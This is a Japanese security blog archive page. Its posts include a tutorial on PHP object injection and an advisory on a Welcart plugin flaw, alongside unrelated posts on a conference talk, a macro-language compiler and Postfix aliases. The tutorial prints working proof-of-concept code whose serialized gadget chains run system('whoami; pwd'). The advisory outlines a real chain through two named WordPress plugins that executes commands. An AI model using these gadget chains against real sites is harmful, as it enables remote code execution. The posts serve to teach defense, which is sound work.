2017年10月5日木曜日

PHPカンファレンス2017にてセキュアコーディングの話をします

PHPカンファレンス2017にて講演する機会をいただきました。

日時:10月8日(日)10:00~17:00(徳丸の出番は14:10から)
場所:大田区産業プラザPiO(東京都大田区)
費用:無料(申し込みはこちら
講演タイトル:著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則

想定聴講者としては、SQLインジェクション対策は聞き飽きた、もう少し突っ込んだ話が聞きたいという方を念頭においていますが、小難しくならないように、できるだけ平易にお話したいと考えています。

私はセキュアなプログラミングに関して、とにかく個別の脆弱性を守るための各論が大切で、それを知らないとどうしようもないという立場を取ってきました。その考え自体は変わっていないのですが、そうは言っても個別の各論を束ねる原則論、総論はないかのという思いはもちろんあります。
従来から、そのような「セキュア開発の原則」については各方面から提案のあるところですが、私はどれを見ても納得がいきません。恐らく、それらが根本的におかしいということはないと思うのですが、用語が曖昧だとか、書かれている例が適切でないとかの積み重ねにより、納得感が薄いのです。

このような私の思いに対して、自分自身の考える「セキュア開発の原則」をまとめたいと思い、過去に以下のような講演をしたことがあります(2016年2月27日)。


タイトルが「試み」という遠慮がちなものになっている理由は、世の中の教科書的な原則論に逆らう自信がまだあまりなかったからというのが正直なところですが、この講演は幸いにも概ね好意的に受け止められたと認識しています。

それから1年半がたち、ようやく「こうではないか」というものがまとまりましたので、PHPカンファレンスの場で発表させていただきたいと思います。

話の前半は、信頼境界の話から、脆弱性対処の原則論の話に展開していきます。

  • 値の扱い方
  • 信頼境界とは何か
  • 典型的な脆弱性と信頼境界の関係
  • 防御的プログラミングとセキュアコーディング

話の後半は、演題にあるようにPHPの著名アプリの脆弱性を取り上げ、それらがなぜ混入したか、どうしたら防げたかという話題になります。それは脆弱性を修正する方法という意味ではなく、どのような考え方をすればそもそも脆弱性が混入しなかったかという話です。

ところで、昨年のPHPカンファレンスでは、和田卓人さんの招待講演が素晴らしかったですよね。


和田さんのようにはいきませんが、私も和田さんがされたような話をしたいと大いに刺激を受けました。その成果をいくばくかでも披露できればと考えております。

2017年9月25日月曜日

オブジェクトインジェクション入門

先日のブログ記事にて、Welcartのオブジェクトインジェクション脆弱性について説明しましたが、オブジェクトインジェクションという脆弱性自体の情報源があまりないので、入門記事を書こうと思い立ちました。

以下、「そんなプログラムあり得るか?」という現実性についてはあまり気にしないで、原理的にオブジェクトインジェクションがどのようなものかについて順を追って説明していきます。以下、PHP言語のケースを題材として具体例を提示しますが、概念自体は他の言語でも通用するものです。

シリアライズとオブジェクトインジェクション

シリアライズとは、構造を持ったデータをバイト列形式に変換することです。PHPではserialize関数その他の方法で行えます。PHPのシリアライズ形式は見た目文字列のように見えますが、nullバイトを含むためバイナリデータとして扱う必要があります。シリアライズ結果を元のオブジェクトに戻すことをデシリアライズといい、PHPではunserialize関数により行えます。これらを模式的に表した図を以下に示します(*1)。


オブジェクトをシリアライズするのは、オブジェクトを伝送したり、保存したりするためです。この際にhiddenパラメータやクッキーを経由すると、シリアライズされたデータを差し替えることができるので、オブジェクトの偽物をつかまされることになります。これがオブジェクトインジェクションです。


脆弱なプログラム(1)


オブジェクトをシリアライズしてクッキー経由で引き渡ししているスクリプトを考えます。まずは、シリアライズしてクッキーにセットする側。ご覧のように、このクラス Foo にはinit()というメソッドがあります。

<?php // setcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

header('ContentType: text/plain');
$foo = new Foo();
$serialized_foo = serialize($foo);
setcookie('FOO', $serialized_foo);
echo str_replace("\0", '[nul]', $serialized_foo);  // \0 を [nul] に変換して表示
次に、クッキーを受け取る側です。クッキー経由のシリアライズされたオブジェクトをデシリアライズして、メソッドinit()を呼び出しています。
<?php // getcookie1.php

class Foo {
  public function init() {
    echo "Foo::init() done\n";
  }
}

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
$result = $foo->init();
しかし、このスクリプトでは、クラスFoo以外にクラスBarも定義されています。偶然なことに、クラスBarにもメソッドinit()があり、このメソッドは、プロパティ $sys を引数として system() 関数を呼び出しています。
このため、このスクリプトに、クラスBarのインスタンスをシリアライズしたクッキーを与えてみます。そのようなクッキーを作るスクリプトを下記に示します。
<?php // setcookie2.php

class Bar {
  private $sys;
  public function init() {
    system($this->sys);
    echo "Bar::init() done\n";
  }
  public function __construct($sys) {
    $this->sys = $sys;
  }
}

header('ContentType: text/plain');
$bar = new Bar('whoami; pwd');
$serialized_bar = serialize($bar);
setcookie('FOO', $serialized_bar);
echo str_replace("\0", '[nul]', $serialized_bar);
これにより、クッキーFOOに、クラスBarのインスタンスがセットされます。この状態で先のスクリプト(getcookie1.php)を実行すると、下記となります。
Bar Object
(
    [sys:Bar:private] => whoami; pwd
)
www-data
/var/www/html
Bar::init() done
Barインスタンスのプロパティに 'whoami; pwd' がセットされているので、init() メソッド実行時に下記が実行されることになります。攻撃の成功です。
system('whoami; pwd');
もっとも分かりやすいオブジェクトインジェクションによる任意コード実行は上記のものですが、流石にこのように都合よく攻撃に使えるクラスがあるケースはレアでしょう。そこで、次にもう少し現実的にものを考えてみます。

脆弱なプログラム(2)

次に検討するのは、共通名のメソッドinit()等はないケースです。この場合でも、オブジェクトが生成された場合暗黙に起動されるメソッドがあります。こちら、厳密には複数あり、新原 雅司さんのブログ記事に詳しいですが、多くの場合デストラクタが問題になると考えてよいでしょう。すなわち、デシリアライズにより生成されたオブジェクトはいずれ「どこからも参照されない状態」になり、このタイミングでデストラクタが呼ばれます。

それでは、下記のスクリプトをサンプルとして、攻撃例を示しましょう。
<?php // getcookie3.php

class Foo {  // 本来使われるはずのクラス
}

class Baz {  // 攻撃に悪用されるクラス
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
上記のスクリプトは、想定としてはFooクラスのインスタンスをシリアライズして受け渡しするものですが、悪用可能なクラス定義としてBazがあります。Bazクラスは、デストラクタ内で call_user_func_array() 関数を呼び出しており、その引数は、Bazクラスのプロパティとなっています。

このスクリプトを攻撃するためのクッキーは下記で設定可能です。
<?php  // setcookie3.php

class Baz {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$baz = new Baz('system', ['whoami; pwd']);  // Bazインスタンスに攻撃用のパラメータをセット
$serialized_baz = serialize($baz);
setcookie('FOO', $serialized_baz);
echo str_replace("\0", '[nul]', $serialized_baz), PHP_EOL;

上記により生成したクッキーをセットして、getcookie3.phpを実行すると、実行結果は下記となります。
Baz Object
(
    [func:Baz:private] => system
    [args:Baz:private] => Array
        (
            [0] => whoami; pwd
        )
)
www-data
/
Bazインスタンスのfuncプロパティに 'system'、argsプロパティに ['whoami; pwd'] がセットされているので、下記のcall_user_func_array関数が呼ばれることになります。
call_user_func_array('system', ['whoami; pwd']);
これにより、system('whoami; pwd'); が呼び出されます。

脆弱なプログラム(3)

getcookie3.phpは、絶対にないとも言えないのですが、私自身は見たことがないパターンです。そこで実際にあった例を紹介しましょう。具体的には、下記で紹介したケースです。
これらの例を簡単にすると、以下のスクリプトに集約されます。
<?php  // getcookie4.php

class Foo {
}

class Qux {
  private $func;
  public function __construct($func, $args) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
オブジェクトインジェクションで直接起動できるクラスQuxのデストラクタは、call_user_func関数が呼ばれてはいますが、関数・メソッドに引数がとれません。phpinfo()関数の呼び出し程度はできますが、あんなことや、こんなこと…はできないわけです。
しかし、もう一つ別のクラスを探して、そのクラスに引数なしのメソッドからcall_user_funcやcall_user_func_array関数が引数ありで呼び出されていれば、2段階でメソッドを呼び出して、攻撃ができます。上記はそのような例になっています。
攻撃コードのセット例は下記のとおりです。
<?php  // setcookie4.php

class Qux {
  private $func;
  public function __construct($func) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$quux = new Quux('system', ['whoami; pwd']);
$qux  = new Qux([$quux, 'exec']);

$serialized_qux = serialize($qux);
setcookie('FOO', $serialized_qux);
echo str_replace("\0", '[nul]', $serialized_qux), PHP_EOL;
攻撃にあたっては、まずクラス Quux のインスタンスを生成し、funcプロパティに 'system'、argsプロパティに ['whoami; pwd'] をセットします。
次に、Quxクラスのインスタンスを生成し、funcプロパティに、先のQuuxインスタンスと'exec'からなる配列をセットします。
これにより生成されたクッキーをgetcookie4.phpにセットして実行した結果は下記のとおりです。
Qux Object
(
    [func:Qux:private] => Array
        (
            [0] => Quux Object
                (
                    [func:Quux:private] => system
                    [args:Quux:private] => Array
                        (
                            [0] => whoami; pwd
                        )
                )
            [1] => exec
        )
)
www-data
/
これによる任意コマンド実行の手順は次のとおりです。まず、Quxインスタンスのデストラクタが呼ばれ、そこから Quux::execメソッドが引数なしで呼ばれます。Quuxインスタンスには前述のとおり、system('whoami; pwd'); を呼び出すためのプロパティがセットされているため、execメソッドによりこれが実行されます。

その他のケース

このエントリでは、最終的にsystem関数の実行に至る例を示しました。それ以外に、スクリプトをドキュメントルート下に書き込む方法がとれる場合もあります。このような例については、下記を参照下さい。


対策

PHPのオブジェクトインジェクションは、上記のように攻撃は難易度が高いのですが、対策は実は容易です。unserialize関数に外部由来の値を渡さなければよいだけです。言い換えれば、unserialize関数に渡す値は、データベースやセッション変数など安全な情報源に限るべきですし、可能であれば、json_encode / json_decode など、より安全な方法で代替するべきです。JSONであれば、オブジェクトインジェクションによりコードが実行されることはありません。
PHP 7.0からは、unserialize関数の省略可能な第2パラメータとして、$optionsが渡せるようになり、ここからデシリアライズ対象のクラス一覧を指定できるようになりました。以下のように使います。この例では、デシリアライズにより生成されるクラスをFooクラスに限定しています。
$foo = unserialize($_COOKIE['FOO'], ["allowed_classes" => ["Foo"]]);
これにより、unserialize関数は *より安全に* 使用できるようになりますが、しかし、allowed_classesを指定するからと言って、unserialize関数に外部由来の値を指定してはいけません。これは危険過ぎますし、PHPのマニュアルにもそのように明記されています。
警告 allowed_classes の options の値にかかわらず、 ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 シリアル化したデータをユーザーに渡す必要がある場合は、安全で標準的なデータ交換フォーマットである JSON などを使うようにしましょう。 json_decode() および json_encode() を利用します。

http://php.net/manual/ja/function.unserialize.php より引用
私もこの警告に同意します。

また、緩和策としてマジックメソッド __wakeup() を活用する方法も考えられます。__wakeup() メソッドが定義されている場合、unserialize()関数でデシリアライズされたオブジェクトに対してこのメソッドが呼び出されます。__wakeup()は、通常はデシリアライズ後のオブジェクトを「使える状態に仕上げる」ためのものですが、逆にシリアライズを想定していないクラスについては、__wakeup()を「デシリアライズされたことの検知」に使えるのではないかと考えました。

具体的には、以下のような__wakeup()メソッドを定義します。
public function __wakeup() {
  trigger_error('このクラス(Qux)はシリアライズでき ません', E_USER_ERROR);
}
プログラムを終了させる目的として、trigger_error()を呼んでいますが、exit()等では終了時にデストラクタが呼ばれてしまうので結局攻撃が成立してしまいます。一方、trigger_errorでE_USER_ERRORを指定した場合は、デストラクタを呼ぶことなく直ちにプログラムが終了するので、緩和策として使えます。

また、デストラクタでは、できるだけ余計なことをしないという実装方針も有効です。
3大CMS(WordPress、Joomla!、Drupal)のソースコードからデストラクタの実装を比較してみると、Joomla!のみが圧倒的にデストラクタで *色々* やっていて、オブジェクトインジェクション攻撃に使えそうですし、実際使えます。この点、WordPressとDrupalのソースに出てくるデストラクタは概ね単純なことしかやっていないので、攻撃には使えなさそうな印象です。

まとめ

オブジェクトインジェクションの入門的な解説を試みました。オブジェクトインジェクションは、一部の著名ソフトの脆弱性として報告されており、Joomla!など大規模な攻撃例もありますが、まだまだ認知が進んでいないと思われます。
本稿によりオブジェクトインジェクションに対する認識が広がればと希望します。

EGセキュアソリューションズ広告

EGセキュアソリューションズ株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。

サービス案内 | EGセキュアソリューションズ株式会社


*1: この図は「iOS でオブジェクトをシリアライズしてファイルに保存する方法 - A Day In The Life」の図を参考にリライトいたしました。

2017年9月22日金曜日

WordPressのプラグインWelcartにオブジェクトインジェクション脆弱性

エグゼクティブサマリ

WordPress向けの国産カートプラグインであるWelcartにオブジェクトインジェクション脆弱性があることが発表された。この脆弱性により環境依存ながらリモートコード実行の可能性があるため報告する。

はじめに

Welcartは、WordPressをベースにショッピングサイトを構築する際に便利なプラグインで、国産ということもあり日本では非常に多く用いられています。そのWelcartにオブジェクトインジェクションの脆弱性があり、公表されました。
オブジェクトインジェクション脆弱性の修正
フロントにて、オブジェクトインジェクションと思われる脆弱性が認められました。
過去のすべてのバージョンが対象となります。1.9.4にアップグレードしてください。
放置しますと、サイトに任意のファイルの埋め込まれる可能性があります。
Welcart 1.9.4 をリリースしました【脆弱性の修正】より引用
修正の差分は下記となっています。外部入力(クッキー)をデシリアライズしていて、典型的なオブジェクトインジェクションですね。


Welcartのフォーラムを見ると、既に攻撃された旨の報告が上がっています。しかし、私は、Welcartの脆弱性が原因ではないのではないかと疑っています。後述するように、Welcartの脆弱性が攻撃される条件が狭いからです。

オブジェクトインジェクションとは

Welcartのパターンのオブジェクトインジェクションについては、以下の記事で説明しているので参照下さい。
PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる
簡単に説明するとこうです。PHPのunserialize関数に外部由来の値(この場合はクッキー)を処理させると、サーバー内で任意のクラスのオブジェクトを生成することができます。オブジェクトは単なるデータですが、各クラスにはメソッドがあるため、クラス定義によっては外部から注入したオブジェクトのメソッドが実行されるケースがあります。典型的にはデストラクタです。このため、オブジェクトの値を巧妙に調整することにより、既存クラスのデストラクタ経由で、攻撃ができる場合があります。
先のブログ記事では、デストラクタからログ・ファイルを出力していて、オブジェクトのプロパティを調整することにより、ファイル名とログの値を外部から指定することにより、PHPスクリプトを書き込む形で任意コード実行まで行う例を示しています。

リモートコード実行可能なプラグインの組み合わせを探す

前述のように、オブジェクトインジェクション単体でできることは、データとしてのオブジェクトを注入することであり、オブジェクトのメソッドは対象アプリケーションに元々あるものを攻撃に使うことになります。しかも、生成されたオブジェクトから自動的に呼びされるものを使うケースが攻撃の典型的ですので、大雑把に言ってデストラクタが攻撃に使えるかどうかが問題になります。
私がWelcartおよびWordPress本体をざっと確認した範囲では、攻撃に使えそうなデストラクタは見当たりませんでした。先に、被害例が既に報告されているがWelcartの脆弱性が原因ではないのではないかという予想を述べた理由はこれが根拠です。
しかし、一般にWordPressサイトでは多くのプラグインを同時にインストールして用いるケースが多いので、Welcart以外のプラグインで攻撃に使えるものがないかを探すことにしました。WordPressサイトによると、WordPressの公式リポジトリから公開されているプラグインは52,194個あるようですが、その中の「人気のプラグイン」として公開されている1,386個をしらみつぶしに目視確認する方法で、コード実行に悪用できるプラグインを探しました。
まず、私が注目したのは、All-in-One Event Calendarというプラグインです。人気のプラグインとしては95番目で、有効インストール数は10万以上となっています。こちらの、Ai1ec_Shutdown_Controllerクラスのデストラクタは下記のようになっています。

12: class Ai1ec_Shutdown_Controller {
          // 中略
41:   public function __destruct() {
          // 中略
56:       // execute callbacks
57:       foreach ( $this->_callbacks as $callback ) {
58:           call_user_func( $callback );
59:       }
これにより、任意の関数あるいは任意クラスの任意メソッドが呼び出せますが、惜しいことに引数が渡せません。引数なしで悪いことというのは中々できないのでこれ単独では攻撃に使えませんが、デストラクタ以外の引数のないメソッドで、もっと色々なことができるものを探せば、組み合わせで悪いことができます。
以前、Joomla!の脆弱性とされた CVE-2015-8562 に対するPoCでは、この目的のために SimplePie というフィード解析等に用いるクラスのメソッドが悪用されました。そのあたりの解説は以下を御覧ください。
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
WordPressにもSimplePieは同梱されていて、当初これが使える! と思いました。以下のメソッドです。
 448: class SimplePie
 449: {
中略
1242:   public function init()
1243:   {
中略
1306:     if ($this->feed_url !== null)
1307:     {
1308:       $parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
1309:
1310:       // Decide whether to enable caching
1311:       if ($this->cache && $parsed_feed_url['scheme'] !== '')
1312:       {
1313:         $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location,
                               call_user_func($this->cache_name_functon, $this->feed_url), 'spc'));
1314:       }

$this->cache_name_functon に関数名、$this->feed_url に引数をセットすればいいので、楽勝じゃん…と思ったのですが、うまく行きません。デバッガで追っかけると、このクラスはWordPressの場合、デフォルトではロードされないのです。
オブジェクトインジェクションで使えるクラスは、対象アプリケーションで元々ロードされているクラスか、オートロードで自動的にロードされるクラスでなければなりません。SimplePieはこの条件に合致しないようです。
SimplePie自体はファイルとしてはあるので、サイトのカスタマイズでSimplePieを呼び出すようにしておけば攻撃に使えますが、ちょっとわざとらしい想定ですので、他の可能性を探ることにしました。
…ということで、SimplePieに代わるクラスを他のプラグインに探すことにしました。すると、ManageWP Workerというプラグインが使えそうでした。有効インストール数は50万以上です。
こちらの MWP_WordPress_HookProxy クラスの hook() メソットが使えます。
20: class MWP_WordPress_HookProxy
21: {
中略
38:     public function hook()
39:     {
40:         call_user_func_array($this->callback, $this->args);
41:     }
このクラスをオブジェクトインジェクションしたところ、元々このクラスは読み込まれていませんでしたが、オートロードでクラス定義が読み込まれました。つまり、攻撃に使えることになります。

実験

プラグインの組み合わせがレアかなと思えるものの、悪用を避けるため、具体的な攻撃コードの公表は控えます。攻撃のおおまかな流れは下記となります。
  • MWP_WordPress_HookProxyインスタンスを生成し、callbackプロパティに関数名、argsプロパティに引数配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスを生成し、_callbacksプロパティに、先のオブジェクトと文字列 "hook"からなる配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスをシリアライズ、パーセントエンコードし、クッキーにセットする
  • Welcart等のプラグインを導入したWordPressサイトを閲覧する
実験では、 pwd > /tmp/pwd というコマンドを実行し、このファイルが生成されていることで任意コード実行を確認しました。この際のMWP_WordPress_HookProxy生成は下記となります。
class MWP_WordPress_HookProxy
{
    private $callback;
    private $args;
    public function __construct() {
        $this->callback = "system";
        $this->args = array("pwd  > /tmp/pwd");
    }
}

影響

影響を受けるサイトは、Welcart 1.9.3以前を導入しているWordPressサイトですが、前述のようにこれだけでは攻撃を受ける可能性は低く、他のプラグインやカスタマイズの状況によっては、任意コード実行の可能性があります。
実験に用いたAll-in-One Event Calendar と ManageWP - Worker はあくまで例ですし、これらに脆弱性があるわけではありません。攻撃を受ける原因は、あくまで Welcart の脆弱性にあります。

対策

対策はWelcartの最新版(本稿執筆時点では 1.9.4)にアップデートすることです。

まとめ

Welcartのオブジェクトインジェクションにより任意コード実行できる可能性について説明しました。オブジェクトインジェクションに関する記事があまりない状況ですので、具体的な事例として参考にしていただければと思います。

私が調べた範囲では、現実のサイトに対する攻撃はかなり限定的であるような印象を受けましたが、短期間での荒い調査ですので、当該のWelcartをお使いのサイトは、至急にアップデートを強く推奨します。

免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびEGセキュアソリューションズ株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。


【EGセキュアソリューションズ広告】

EGセキュアソリューションズ株式会社では、WordPressを用いたウェブサイトのセキュリティ強化支援サービスを提供しています。詳しくは以下を参照下さい。

WordPressサイトのセキュリティ強化支援 | EGセキュアソリューションズ株式会社

2017年8月30日水曜日

このブログのHTTPS化を試験運用中

このブログはbloggerで運用されており、独自ドメイン下でのHTTPS対応はbloggerの仕様として対応していないのですが、リバースプロキシを立てる方法でHTTPS化してみました。
当面試験運用としますので、不具合などありましたら、twitter等でお知らせ下さい。

2017年8月12日土曜日

秀丸マクロを生成する秀スクリプトという言語処理系を作った

エグゼクティブサマリ

秀スクリプトという小さな言語処理系を開発した。秀スクリプトは、TypeScriptを大幅に縮小した文法を持ち、コンパイラによって秀丸マクロに変換され、秀丸上で実行される。秀スクリプトコンパイラは秀スクリプト自身により記述される。
 秀スクリプトの主な特徴は下記のとおり。
  • TypeScriptに似た文法を持ち、コンパイラも秀スクリプトで記述されている
  • 秀丸マクロを生成し、秀丸上で実行される
  • TypeScript同様、変数に型がある
  • 数値(整数)型と文字列型、これらの配列をサポート
  • if、while、do … whileの制御構造
  • 関数のサポート

はじめに

Windows上で使用するエディタとして長年秀丸を愛用しています。最近はVisual Studio Codeなども人気で、僕もインストールして使ってみたりはするのですが、長年手に馴染んだツールというのは、中々乗り換えが難しいものですね…ということで、普段は、もっぱら秀丸を使います。
秀丸には、秀丸マクロという簡単なマクロ言語があり、機能を追加することができますが、この秀丸マクロがなかなか厄介な代物…もとい、なんと言うか独特の仕様なのでとっつきにくい感じがします。以下は、秀丸マクロで書いたフィボナッチ数値のマクロです。ほら、文章を書いているとたまにフィボナッチ数列を引用したい時、あるでしょ…えっ、ないですか?
#n=1;
while (#n <= 10) {
  call fib #n;
  insert str(##return) + "\n";
  #n = #n + 1;
}
endmacro

fib:
  if (##1 <= 2) {
    return 1;
  }
  call fib ##1 - 2;
  ##temp = ##return;
  call fib ##1 - 1;
  return ##temp + ##return;
ご覧のように、中々独特の構文です。特徴を書いておくと下記のようになります。
  • 変数には型があり、整数型の変数は #foo、文字列型は $bar 等と書く
  • サブルーチンや関数が使える。引数は $$1 や ##1 等と記述する
  • サブルーチンや関数の呼び出しは、call文を用いる
  • ローカル変数が使える。ローカル変数は $$foo、##bar 等と記述する
  • 関数の戻り値は ##return という変数にセットされる
  • 制御構文として、ifやwhileが使える
というわけで、ちょっととっつきにくいですよね。仮に、秀丸マクロがJavaScript風の文法だったら、以下のようになるはずです。
function fib(n) {
  if (n <= 2)
    return 1;
  return fib(n - 2) + fib(n - 1);
}

var x = 1;
while (x <= 10) {
  insert(str(fib(x)) + "\n");
  x = x + 1;
}
うん、この方が分かりやすい…では、いっそ、JavaScript風の言語から秀丸マクロに変換するコンパイラ(トランスレータ、トランスパイラ)を作ってしまえと思い立ちました。

目標を決める

最初、秀丸マクロ使って以下のような簡単なコンパイラを書こうかと思っていたのですが、
  • 秀丸マクロを生成するトランスパイラ型の処理系
  • コンパイラ自体は秀丸マクロで記述
試作しているうちに、どうも秀丸マクロでは作るのが辛いことと、昔Pascalコンパイラを作ったときのように「コンパイラ自体を記述できる」というのが格好いいなと思い始め、以下のように目標を決めました。この言語を「秀スクリプト」と呼ぶことにします。
  • 秀丸マクロを生成するトランスパイラ型の処理系
  • コンパイラ自体を記述できる

ブートストラップ方針を決める

秀スクリプトのコンパイラが、秀スクリプト自身で記述してあるというと、最初の秀スクリプトコンパイラはどうやって作るのだろうという疑問が生まれますよね。この問題のことをブートストラップ問題というそうで、Wikipediaにも記載されています。
秀スクリプトの場合は、以下の戦略が考えられます。
  1. 秀スクリプトを既存言語のサブセットとして定義し、その既存言語のコンパイラでコンパイルする
  2. 最初は秀丸マクロでコンパイラを書き、次に秀スクリプトでコンパイラを書き直す
2は二度手間で面倒なので、できれば 1で行きたいですね。そうなると、既存言語で適当なものがあるかが問題になります。この「既存言語」のことをこれ以降は「親言語」と呼ぶことにします。

親言語を決める

親言語の選定は重要です。秀スクリプトは、その親言語のサブセットになるので、親言語の選定すなわち秀スクリプトの言語仕様を決めることに近いからです。
冒頭でJavaScriptで書けたらいいよね、みたいなことを書きましたが、実際にはJavaScriptから秀丸マクロへのコンパイル(変換)は困難です。なぜなら、秀丸マクロには「変数に型がある」からです。すなわち、冒頭で述べたように整数型の変数は #で始まり、文字列型の変数は $で始まるという仕様なので、どちらの変数を生成するかを決めるには、変数に型宣言をするか、型推論のようなややこしいことをしなければなりません。型推論は手におえないので、型宣言があるスクリプト言語を探すことにしました。
色々な言語を見たのですが、結局TypeScriptに落ち着きました。型のあるJavaScriptという感じで、イメージ通りです。Visual Studio 2017上でTypeScriptでWindowsコンソールアプリを開発する場合は Node.jsが選択される、ということで、生まれて初めてTypeScriptで、生まれて初めてNode.jsで開発することになりました。

秀スクリプトの言語仕様

秀スクリプトの言語仕様については、こちらをご覧ください。
親言語としてTypeScriptの文法を借りているとは言え、機能的にはBASICくらいのものですので、過度な期待はしないでくださいねw
以下は、冒頭で上げたフィボナッチ数列の記述例。概ね、当初の期待通りには書ける、というところですね。

使ってみる

フィボナッチ数列を埋め込むスクリプトを書いてみましょう。数値を秀丸上で選択してスクリプトを実行すると、その数値の個数だけフィボナッチ数列を生成するものです。
function fib(n : number) : number {
  if (n <= 2)
    return 1;
  return fib(n - 2) + fib(n - 1);
}

var x = val(gettext(seltopx(), seltopy(), selendx(), selendy(), 1)); 

var n = 1;
while (n <= x) {
  insertln(fib(n));
  n = n + 1;
}
コンパイル結果は下記となります。見やすいように空白や改行を補って整形しています。
goto _end_fib
fib:
    if (##1 <= 2) {
        return 1;
    }
    call fib  ##1 - 2;
    ##_0 = ##return;
    call fib  ##1 - 1;
    ##_1 = ##return;
    return ##_0 + ##_1;
    return 0;
_end_fib:

#x = val(gettext(seltopx, seltopy, selendx, selendy, 1));
#n = 1;
goto _LL1
_LL0:
    call fib  #n;
    #_0 = ##return;
    insert str(#_0) + "\n";
    #n = #n + 1;
_LL1:
if (#n <= #x) goto _LL0
_LL2:

これを動かしてみましょう。以下は、秀スクリプトのコンパイルから実行の映像です。



…ということで、秀丸を使っていて、文章中にフィボナッチ数列を埋め込む様子をご覧いただきました。

ダウンロード

githubのリポジトリから、Clone or Download▼ ボタンの Download ZIP によりZIPファイルをダウンロードしてください。あるいはリリースページから適当なzipファイルをダウンロードしてください。

hidescript/hidescript フォルダ内の下記のファイルがコンパイラ本体です。

  • hidescript.ts  TypeScript/秀スクリプトで書かれた秀スクリプトコンパイラソース
  • hidescript.js   TypeScriptにより変換された JavaScriptソース
  • hidescript.mac node.js/秀スクリプトによりコンパイルされた秀丸マクロ


使い方

秀スクリプトでソースを書いた後、秀丸マクロに変換するには以下の方法があります。

(1) 秀スクリプトコンパイラをTypeScriptとして解釈してJavaScriptにコンパイルした hidescript.js を Node.js上で動かす。
C:>node hidescript.js foo.hs
(2) 秀スクリプト記述の秀スクリプトコンパイラを自分自身でコンパイルした hidescript.macを用いて、秀丸上でコンパイルする
hidescript.macを秀丸にマクロ登録して、ショートカット等でコンパイラを起動します。実際には、自分自身をコンパイルする際に備えて、hidescript.macをhs.mac等にリネームして登録することをお勧めします。詳しくは、上記の映像をご覧ください。

まとめ

秀スクリプトという秀丸マクロを生成するスクリプト言語を開発しました。秀スクリプトは秀丸マクロの開発を便利にします。秀丸マクロはコンパイル時のチェックが非常に緩く、実行が始まってからさまざまなエラーが出たり、未定義の変数を参照してもエラーにならなかったりしますが、秀スクリプトは変数などの型などを厳密にチェックするからです。
まだ、組み込み関数などの定義が最低限のものしかありませんが、自分で追加することもできるので遊んでみて下さい。

謝辞

秀スクリプトの開発にあたり、秀丸マクロのサブルーチンのネスト回数が20回までという制限が厳しく、サポートフォーラムにて制限の緩和を要望したところ、200回までに緩和いただきました。この仕様緩和で、秀スクリプトを秀丸上でコンパイルできるようになりました。ご担当いただいた「秀丸担当」様、サイトー企画様にあつくお礼申し上げます。ありがとうございました。

2017年7月18日火曜日

Postfix で user+foo@domain 形式のエイリアスを使う方法

Gmail では、user+foo@gmail.com 形式のメールアドレス別名が使えることはご存じの方が多いと思います。すなわち、自分のGmailアドレスが user@gmail.com である場合、user+foo@gmail.com や user+pokemon@gmail.comに送られたメールも、受け取ることができます。
私は個人ではPostfixをMTAとして運用しており、ウェブサービス等に登録するメールアドレスはサービス毎に別のメールアドレスを用いています。Yahoo! には yahoo5412@example.com、Googleには google4813@example.com という具合です(実際のメールアドレスは異なります)。しかし、多くのサービスに登録する場合、一々エイリアスを登録するのも面倒です。
そこで、Postfixでもuser+foo形式のエイリアスが使えないかと思い調べたところ、標準機能でサポートしているのですね。Postfixではこの機能をアドレス拡張(Address Extensions)と呼んでいるようです。
アドレス拡張をPostfixに設定するには、main.cf に下記を指定します。

recipient_delimiter = +

この後Postfixを再起動すると、user+foo@examle.com という形で別名が使えるようになります。fooの部分は任意の文字列(メールアドレスのローカルパートに使える文字であれば)が使用できます。

上記を見てお気づきかと思いますが、デリミタとして使用できる記号は変更可能です。例えば、プラス記号の代わりにドットを使うと、以下のように一見エイリアスとは見えない形にすることもできます。

user.foo@example.com

ここでちょっと悪乗りして、recipient_delimiter に英数字は使えないのかと思い試してみました。

recipient_delimiter = 0

上記のように指定すると、ちゃんと(?) user0foo@example.comというアドレス指定で、user@examle.comのメールボックスに届きました…が、デリミタを英数字にするのはあまりにも紛らわしいので実運用ではやめた方がよさそうですね。

まとめ

  • Postfixでも user+foo@domain 形式のエイリアス(アドレス拡張)が使用できる
  • Postfixでアドレス拡張を用いるには、main.cfのrecipient_delimiterでデリミタを指定する
  • アドレス拡張のデリミタには記号の他、英数字も使えるようだが、英数字はやめた方がよい

2017年5月8日月曜日

